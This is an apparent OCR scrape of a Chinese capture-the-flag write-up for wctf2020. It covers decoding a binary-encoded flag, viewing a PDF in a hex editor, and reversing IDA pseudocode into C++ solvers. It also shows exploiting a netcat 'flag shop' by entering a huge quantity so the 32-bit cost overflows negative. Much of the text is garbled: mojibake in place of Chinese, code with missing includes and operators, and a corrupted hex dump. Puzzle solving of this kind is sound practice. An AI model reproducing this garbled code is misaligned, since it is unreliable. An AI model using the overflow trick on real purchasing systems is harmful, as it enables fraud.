BIE—BoE ik, B 5 NCHHESHO, CHll

#tinclude
using namespace std;

int main()

{

string s

for(int i=0;i<s.size();i++)

{

if(s[i]
s[i]
else

s[i]

cout<<s;
return 0;




BATHR

B #EEC:\Users\1\Desktop\Z=&.exe — O PY

011101110110001101110100011001100011001000110000001100100011000001111011011010000011001101110010011001010101111100110001§8
011100110101111101111001001100000111010101110010010111110110011001101100010000000110011101011111011100110011000101111000
010111110111001100110001011110000101111101110011001100010111100001111101

yith return value 0

PN

01110111011000110111010001100110001100100011000000110010001100000111101101101000001100110111001001100101010111110011000101110011010111110111100100
110000011101010111001001011111011001100110110001000000011001110101111101110011001100010111100001011111011100110011000101111000010111110111001100110
0010111100001111101|

HRRRTCA:

wetf2020{h3re_1s_yOur_fi@g_s1x_s1x_s1x}

AR =AM E R, A exef ik, EFidaE HE A HI kMG AR 7Y

£ haarcascade frontalface default.xml
:q welcome.exe

-| B It

RV

o] sEEEWindows7 L ABESiRARWindowsIAiE
ESERAZWRINESL
SEAZWRINSZEINAEE




Google— T &%+ = a4 E R 2 AME B 2 5a 304 EHIFRIA B, 1845k HLER B 3 =4 Ak

W H Kflag T

.ﬂ C:\Users\1\Desktop\=AfT\welcome.exe — O *




TECF AR TR

ZFlwinhex 5 — T EIF LKL 1 PDF

8 WinHex - [%E7%88%AC]

B File Edit Search Navigation View Tools Specialist Options Window Help

DARZ=E B RBSNGY tgempn. @
File Edit %E?%EE%AC‘
Offset 0 1 2 3 4 5 6 7 8 910 11 12 13 14 15
00000000 25 50 44 46 2D 31 2E 37 0D OA 25 BS BS B5 B5 0D %PDE-1.7 Supuppn
00000016 OA 31 20 30 20 6F 62 6A 0D 0A 3C 3C 2F 54 79 70 1 0 obj <</Typ
00000032 65 2F 43 61 74 61 6C 6F 67 2F 50 61 67 65 73 20 e/Catalog/Pages
00000048 32 20 30 20 52 2F 4C 61 6E 67 28 65 6E 2D 55 53 2 0 R/Lang(en-US
00000064 25 20 2F 53 74 72 75 63 74 54 72 65 65 52 6F 6F ) /StructTreeRoo
00000080 74 20 31 37 20 30 20 52 2F 4D 61 72 6B 49 6E 66 t 17 0 R/MarkInf
00000096 €F 3C 3C 2F 4D €1 72 €B 65 64 20 74 72 75 65 3E o<</Marked true>
00000112 3E 2F 4D 65 74 €1 €4 61 74 €1 20 35 35 20 30 20 >/Metadata 55 0
00000128 52 2F 56 69 65 77 65 72 50 72 65 66 65 72 65 6E R/ViewerPreferen
00000144 63 65 73 20 35 36 20 30 20 52 3E 3E 0D OA 65 6E ces 56 0 R>> en
00000160 64 6F 62 6A 0D OA 32 20 30 20 6F 62 6A 0D OA 3C dobj 2 0 obj <
00000176 3C 2F 54 79 70 65 2F 50 61 67 65 73 2F 43 6F 75 </Type/Pages/Cou
00000192 6E 74 20 31 2F 4B 69 64 73 SB 20 33 20 30 20 52 nt 1/Kids[ 3 0 R
00000208 5D 20 3E 3E 0D OA €5 6C 64 6F 62 €A OD OA 33 20 ] >> endobj 3
00000224 30 20 6F 62 6A 0D OA 3C 3C 2F 54 79 70 65 2F 50 0 obj <</Type/P
00000240 €1 67 65 2F 50 61 72 65 6E 74 20 32 20 30 20 52 e/Parent 2 0 R
00000256 2F 52 65 73 6F 75 72 63 65 73 3C 3C 2F 46 6F 6E /Resources<</Fon
00000272 74 3C 3C 2F 46 31 20 35 20 30 20 52 2F 46 32 20 t<</F1 5 0 R/F2
00000288 3% 20 30 20 52 3E 3E 2F 45 78 74 47 53 74 61 74 9 0 R>>/ExtGStat
00000304 65 3C 3C 2F 47 53 37 20 37 20 30 20 52 2F 47 53 e<</GS7 7 0 R/GS
00000320 38 20 38 20 30 20 52 3L 3E 2F 58 4F 62 6A 65 63 8 8 0 R>>/XCbjec
00000336 74 3C 3C 2F 49 €D €1 €7 65 31 34 20 31 34 20 30 t<</Imagels 14 0
00000352 20 52 2F 49 6D 61 67 65 31 35 20 31 35 20 30 20 R/Imagel5 15 0
00000368 52 3E 3E 2F 50 72 6F 63 53 65 74 5B 2F 50 44 46 R>>/ProcSet[/PDF
00000384 2F 54 65 78 74 2F 49 6D 61 67 65 42 2F 49 6D 61 /Text/ImageB/Ima
00000400 67 65 43 2F 45 6D 61 67 65 49 5D 20 3E 3E 2F 4D geC/Imagel] >>/M
00000416 65 64 €9 61 42 6F 78 5B 20 30 20 30 20 36 31 32 ediaBox[ 0 0 612
00000432 20 37 39 32 SD 20 2F 43 6F 6E 74 65 6E 74 73 20 792] /Contents
00000448 34 20 30 20 52 2F 47 72 €F 75 70 3C 3C 2F 54 79 4 0 R/Group<</Ty
00000464 70 65 2F 47 72 6F 75 70 2F 53 2F 54 72 61 6E 73 pe/Group/S/Trans
00000480 70 61 72 65 6E 63 79 2F 43 53 2F 44 65 76 6% 63 parency/CS/Devic
00000496 65 52 47 42 3E 3E 2F 54 61 62 73 2F 53 2F 53 74 eRGB>>/Tabs/S/St
00000512 72 75 63 74 50 61 72 65 6E 74 73 20 30 3E 3E 0D ructParents 0>>
00000528 0A 65 6E 64 6F 62 6a 0D OA 34 20 30 20 6F 62 6A endobj 4 0 obj
00000544 0D OA 3C 3C 2F 46 €9 6C 74 €5 72 2F 46 6C 61 74 <</Filter/Flat
00000560 €5 44 65 63 6F €4 €5 2F 4C €5 6E 67 74 68 20 34 eDecode/Length 4
00000576 39 37 3E 3E 0D OA 73 74 72 65 61 6D 0D OA 78 9C 97>> stream =xe
00000592 AD 97 4D 6B DC 30 10 86 EF 06 FF 87 39 26 85 6A -—MkUO ti 39
00000608 35 A3 19 7D CO B2 90 AC 77 43 4A 53 5A B2 90 43 5& }A® —wCJSZ
00000624 E9 61 09 83 73 48 B6 5F BT FE FA CA 6E 20 1B E2 &a wsHI_-pukn &
00000640 25 95 32 3E D8 12 08 CF 33 AF SF SE 4B 30 FB 0C %:2>¢ 137 _“K0Q
00000656 F3 F9 EC 62 79 DE 81 SD 2C EO B4 SB C2 CF B6 Bl Guibyp ],a [AIg%
00000672 | Ce6 OE 57 42 02 0B 3E DF 43 22 F8 75 D3 36 57 EF E WB >»BC"zulewi
00000688 60 D7 36 A7 9B B6 99 AD 11 10 8D 65 D8 DC B6é 0D *x6§>9>— e209
00000704 E6 75 16 10 9C F5 C6 OA 04 9B BC 78 D8 3C E4 75 «u ®SE >Exg<au
00000720 67 97 01 FA DF FS 9D DO 6F B3 F8 38 3B 6B 9B AF g— GBU B %e87;k>
Page 1 of 156 Offset: 240

v

4

L4

=97 Block:

n/a, Size:

198 - & x

[unregistered]

%E7 %88%AC
C:\Users\1\Desktop
File size: 112 KB
114,402 bytes
Default Edit Mode
State: original
Undo level: 0
Undo reverses: n/a
Creation time: 2020/03/29
19:05:50
Last write time: ~ 2020/03/29
19:05:50
Attributes: A
lcons: 0
Mode: Text
Offsets: decimal
Bytes per page:  46x16=736
‘Window #: 1
No. of windows: 1
Clipboard: available
TEMP folder: 21.8 GB free

>\Users\1\AppData\Local\Temp

85 Z0m b pdfgh i] LUFT 1
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PR FBa’S, winhex, binwalk#kene: 282
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you can buy the flagin the shop, here's your exchange.
nc47.97.40.187 12306

fEkali inux L A — T s, Bl 22t

File Actions Edit View Help
root@kali: ~ %

:~# nc 47.97.40.187 12306

Welcome to wctf282@ shop
You can buy flags here

1. Balance
2. Buy Flags
3. Exit

Enter a menu selection
1

Balance: 2820

Y
vy A u
\V V[

Welcome to wctf282@ shop
You can buy flags here

1. Balance
2. Buy Flags
3. Exit

Enter a menu selection
2
Currently for sale
1. Cheaper flag
2. Real lag
1
These fake flags cost 999 each, enter desired quantity
999 hitps://blog.csdn.net/weixin_45883223

The final cost is: 998801
Not enough funds to complete purchase

Y
vy A u
\V VvV /




can buy flags here

. Balance
. Buy Flags
. Exit

Enter a menu selection
2
Currently for sale
1. Cheaper flag
2. Real lag
2
Real flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy onel

Not enough funds for transaction

AN
\\A//
\V Vv /
\Ai
v A —

Welcome to wctf2020 shop
You can buy flags here

1. Balance
2. Buy Flags
3. Exit

https://blog.csdn.net/weixin_4:

Google-

FYEC[IPicoCTF 2019 Writeup, HLfif5 —ikiflag_shop, FIANUWIRA K, w2 B2 R — AN K73

flag_shop

Problem

There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc

source
Solution
By reading the source code, we see thatthe total_cost is stored as a 4 byte signed
integer

3
If we enter a large number for number flags , 900*number flags would overflow and

turn into a large negative number:

FHRET
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> 1<<31 g 1.5
Welcoms to
W= 3= g3
1. Check Zccount Balance
Buy Flags
Exitc
EnteTr & menu 3=lect
Thege £ff Flag coat each, enter d
The final cost 1is
Your current balance after transaction
Welcome to the flag exchange
W= 3ge flaga
Check Acccunt Balance
Buy Flags
Exit
Fnte 3 BT alert
flags cogt - =nd
__________ dollars, and we only
Fnter + b ne
Iy Loy 1o piLCOoL L ¥ _Dags_cd

Welcome to wctf282@ shop
You can buy flags here

1. Balance
2. Buy Flags
3. Exit

Enter a menu selection
2

Currently for sale

1. Cheaper flag

2. Real lag

L]




1

These fake flags cost 999 each, enter desired quantity
3579138

The final cost is: -719408434

Your current balance after transaction: 719410454

Welcome to wctf282@ shop
You can buy flags here

2. Buy Flags
3. Exit

Enter a menu selection

2

Currently for sale

1. Cheaper flag

2. Real lag

2

Real flags cost 100008 dollars, and we only have 1 in stock
Enter 1 to buy onel

YOUR FLAG IS: wctf2020{@h_noooo_ydu_réb_my_shop} http
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ID4 View-4 [ Pseudocode—4 B [@  Hex View-1 [ 91
1jint _ cdecl main(int argc, const char **argv, const char **envp)
2
3| char v4; [/ [rsp+0h] [rbp-38h]

4

50 puts(" _ . ");

6 puts(*| | I I/ I _I /7 __| ")

70 putsC*l L LT LN - T N T )

8| puts("| [N LTI [F--o A\ IRt A VAR A VAN b
9 puts("\\ /AN /I /AN N )
10| puts(" \\/ AW NN/ N N NN
11| while (1)
12| {
13 puts{"Input the flag");
14 __is0c99_scanf((__intod ) s", (  intod)&va);
15 if ( (unsigned int)check(({ int64)&vd) == 1)
16 break;
17 puts("@ops, yvour flag seems fake.");

18 puts("====================s==mmaaa2")

19 rewind(_bss_start);

28| }

21| puts("Your flag is correct, go and submit it!");

22| return @;

23

1| BOOL8 _ fastcall check(_ _int64 al)
21
3

4(y

D00~ U B R e

{

return iven_is_handsome(( BYTE *)al);

| BOOL8 _ fastcall iven_is_handsome(_BYTE *al)

return 21[18] == 112

&& 21[13] == 64
&& 21[3] == 102
&& a1[26] == 114
&& a1[20] == 101
&& (unsigned int)iven_is_cBol(zl);



#include
using namespace std;
int main()
{
char al[100];
al[9] 119 ;
al[6] 50;
al[22] 115;
al[31] = 110;
al[12] 95;
al[7] 48;
al[16] 95;
al[11] = 112;
al[23]
al[39] 117;
al[19] 112;
al[13] 64;
EVE] 102;
al[26] = 114;
al[20] = 101;
al[1] 99 ; al[25] 64; al[27]
all[4] 50 ; al[17] 114 ; al[29]
al[2] 116;
al[9] 99;
al[32] = 125;
al[19]
al[5]
al[14]
al[15]
al[8]
al[18] = 51;
al[28] = 95;
al[21] = 114;
cout<<al;

101;
102 ; al[17]

return 0;

i

wetf2020 {cpp_@nd_r3verse @re
ited after 1.751 s

R

114 ; al[24]

value 0

O5§
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fiog
232
816
200
1536
300
6144
984
51200
570
92160
1200

756
800

1782

565248

1474560

6291456

65536000

"]l output.txt - 2=
STiEF) RE(E) ERO) BJE(V) FEIH)

Unix (LF)

BT, 8157 100%

fuidtidaF—F, {Cforff¥h B i i kst 17 1

ID4 Viev—4 [ Pseudocode-4 B [@ Hex View-1 s
1[int _ cdecl main(int argc, const char **argv, const char **envp)
2i{
3| FILE *stream; // ST0OZ 8
4| signed int i; // [rsp+4h] [rbp-2Ch]
5| char ptr[24]; // [rsp+1@h] [rbp-26h]
6| unsigned _ inted v7; // [rsp+28h] [rbp-8h]

-
g v7 = _ readfsqword(@x28u);
9| stream = fopen("flag", "r");

18| fread(ptr, 1ulLl, @x14ull, stream);
11| fclose(stream);

12 for ( 1 =1; 1 <= 19; ++1 )

13 {

14 if (1&1)

15 printf("%1d\n", (unsigned int){(ptr[i] << 1));
16 else
17 printf("%1d\n", (unsigned int){(i * ptr[i]));
18 }
19| return @; |
20(r

fEoutput?F a[20] L HME, (H2&TF i

FMAFUER, BTl ZEZy a0 AME, EIddusic, unsigned inttiichar, <<tUs>>, *Mos/




#include
using namespace std;
int main()

{

long a[20]={0,198,232,816,200,1536,300,6144,984,51200,570,92160, 1200, 565248 ,756, 1474560, 800, 6291456, 1782, 6553
6000} ;

for (int i 1; i 19; i)
{

if (i 1)

printf( , (char)(a[i] i));
else

printf( , (char)(a[i]/i));

}

return 0;

https://blog.csdn.net/weixin_4588324
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